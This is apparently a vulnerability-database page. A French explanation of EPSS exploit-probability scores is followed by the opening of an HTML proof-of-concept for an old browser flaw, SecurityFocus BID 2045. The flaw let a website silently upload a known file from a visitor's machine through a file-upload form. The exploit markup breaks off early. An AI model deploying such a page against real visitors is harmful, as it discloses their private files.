EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

<!-- source: https://www.securityfocus.com/bid/2045/info One of the ways users submit information to remote websites is through the INPUT type form options. Users can upload files to remote webservers with the input type=FILE option. Due to a design error in the implementation of the INPUT TYPE=FILE variable , it is possible for a website operator to specify a known filename from the visitors machine for upload to the website. This vulnerability is exploitable under certain circumstances, the filename would have to be known by the website operator, the amount of characters that exist in the filename would have to be the same amount of characters the user typed in the form, and the visiting user would need to have at least read access to the known file. This vulnerability does not allow the website operator to delete or modify any files on the visitors machine. Successful exploitation of this vulnerability could lead to the disclosure of sensitive information and possibly assist in further attacks against the victim. --> <HTML> <HEAD> <META NAME="GENERATOR" Content="Microsoft Visual Studio 6.0"> <TITLE></TITLE> </HEAD> <BODY> <form action="../get_file.asp" method="POST" enctype="multipart/form-data" id=form1 name=form1> <table width="400" align="center" border="0" cellpadding="0" cellspacing="0"> <tr><td colspan="2" align="right"></td></tr> <tr><td bgcolor="000080" width="480"> <font size="3" color="white"><b>&nbsp;Example..
